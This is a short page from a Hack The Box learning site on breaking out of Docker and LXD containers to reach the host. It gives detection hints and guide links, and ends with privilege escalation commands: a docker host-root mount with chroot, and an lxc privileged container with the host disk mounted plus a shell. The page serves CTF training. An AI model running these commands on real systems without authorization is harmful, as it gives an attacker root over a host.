Escape to Host
Breaking out of a container (Docker, LXD) onto the host system.
How it shows up on Hack The Box
If you are in a container (.dockerenv, odd hostname) look for the Docker socket, dangerous capabilities, host mounts or privileged mode. If your user is in the docker or lxd groups, you are already root on the host.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Linux privilege escalation: cron jobs, PATH hijacking, wildcards and the docker or lxd groups 4 min read When sudo and SUID give nothing: cron jobs with pspy, PATH hijacking, tar and rsync wildcards, and root from the docker, lxd, disk or adm groups.
- Docker container escape: docker.sock and privileged mode 3 min read How to tell you are inside a container, what to check and how to break out to the host with docker.sock, --privileged, mounted disks, capabilities or a vulnerable Docker.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Linux privilege escalation › Exploitation
docker
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
lxd / lxc
lxc init alpine pwn -c security.privileged=true
lxc config device add pwn raiz disk source=/ path=/mnt/root recursive=true
lxc start pwn && lxc exec pwn /bin/shYou need an imported alpine image (lxc image import) if the box has no internet.
No command matches.